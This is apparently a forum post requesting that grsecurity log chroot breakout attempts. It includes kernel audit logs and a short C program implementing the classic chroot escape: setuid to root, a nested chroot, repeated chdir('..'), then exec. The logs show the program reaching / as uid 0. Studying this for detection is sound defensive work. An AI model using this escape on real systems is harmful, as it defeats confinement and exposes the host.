In the chroot options there are things to protect breaking out of a chroot... calling chroot inside a chroot, calling fchdir, etc.
Would it be possible to add an option for the logging of these attempts?
Mar 12 12:44:41 localhost kernel: grsec: From 10.x.x.x: chdir to /usr/jail/home/corman by /usr/sbin/sshd[sshd:5590] uid/euid:500/500 gid/egid:500/500, parent /usr/sbin/sshd[sshd:5589] uid/euid:500/500 gid/egid:500/500
Mar 12 12:44:41 localhost kernel: grsec: From 10.x.x.x: exec of /usr/sbin/jk_chrootsh (-jk_chrootsh ) by /usr/sbin/sshd[sshd:5590] uid/euid:500/500 gid/egid:500/500, parent /usr/sbin/sshd[sshd:5589] uid/euid:500/500 gid/egid:500/500
Mar 12 12:44:41 localhost kernel: grsec: From 10.x.x.x: chdir to /usr/jail by /usr/sbin/jk_chrootsh[jk_chrootsh:5590] uid/euid:500/0 gid/egid:500/500, parent /usr/sbin/sshd[sshd:5589] uid/euid:500/500 gid/egid:500/500
Mar 12 12:44:41 localhost kernel: grsec: From 10.x.x.x: chdir to /usr/jail/home/corman by /usr/sbin/jk_chrootsh[jk_chrootsh:5590] uid/euid:500/500 gid/egid:500/500, parent /usr/sbin/sshd[sshd:5589] uid/euid:500/500 gid/egid:500/500
Mar 12 12:44:41 localhost kernel: grsec: From 10.x.x.x: exec of /usr/jail/bin/bash within chroot by process /usr/sbin/jk_chrootsh[jk_chrootsh:5590] uid/euid:500/500 gid/egid:500/500, parent /usr/sbin/sshd[sshd:5589] uid/euid:500/500 gid/egid:500/500
Mar 12 12:44:41 localhost kernel: grsec: From 10.x.x.x: exec of /usr/jail/bin/bash (/bin/bash ) by /usr/sbin/jk_chrootsh[jk_chrootsh:5590] uid/euid:500/500 gid/egid:500/500, parent /usr/sbin/sshd[sshd:5589] uid/euid:500/500 gid/egid:500/500
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char *const argv[])
{
int i;
setuid(0);
setgid(0);
chroot("/tmp");
for (i = 0; i < 100; i++)
chdir("..") ;
chroot(".");
execv("/bin/ls", argv);
printf("%s: %s\n", argv[0], strerror(errno));
exit(errno);
}
Mar 12 12:45:25 localhost kernel: grsec: From 10.x.x.x: exec of /usr/jail/bin/tester within chroot by process /usr/jail/bin/bash[bash:5596] uid/euid:500/500 gid/egid:500/500, parent /usr/jail/bin/bash[bash:5590] uid/euid:500/500 gid/egid:500/500
Mar 12 12:45:25 localhost kernel: grsec: From 10.x.x.x: exec of /usr/jail/bin/tester (tester ) by /usr/jail/bin/bash[bash:5596] uid/euid:500/500 gid/egid:500/500, parent /usr/jail/bin/bash[bash:5590] uid/euid:500/500 gid/egid:500/500
Mar 12 12:45:25 localhost kernel: grsec: From 10.x.x.x: chdir to /usr/jail/home by /usr/jail/bin/tester[tester:5596] uid/euid:0/0 gid/egid:0/0, parent /usr/jail/bin/bash[bash:5590] uid/euid:500/500 gid/egid:500/500
Mar 12 12:45:25 localhost kernel: grsec: From 10.x.x.x: chdir to /usr/jail by /usr/jail/bin/tester[tester:5596] uid/euid:0/0 gid/egid:0/0, parent /usr/jail/bin/bash[bash:5590] uid/euid:500/500 gid/egid:500/500
Mar 12 12:45:25 localhost kernel: grsec: From 10.x.x.x: chdir to /usr by /usr/jail/bin/tester[tester:5596] uid/euid:0/0 gid/egid:0/0, parent /usr/jail/bin/bash[bash:5590] uid/euid:500/500 gid/egid:500/500
Mar 12 12:45:25 localhost kernel: grsec: From 10.x.x.x: chdir to / by /usr/jail/bin/tester[tester:5596] uid/euid:0/0 gid/egid:0/0, parent /usr/jail/bin/bash[bash:5590] uid/euid:500/500 gid/egid:500/500
Mar 12 12:45:25 localhost last message repeated 96 times
Mar 12 12:45:25 localhost kernel: grsec: From 10.x.x.x: exec of /bin/ls (tester ) by /usr/jail/bin/tester[tester:5596] uid/euid:0/0 gid/egid:0/0, parent /usr/jail/bin/bash[bash:5590] uid/euid:500/500 gid/egid:500/500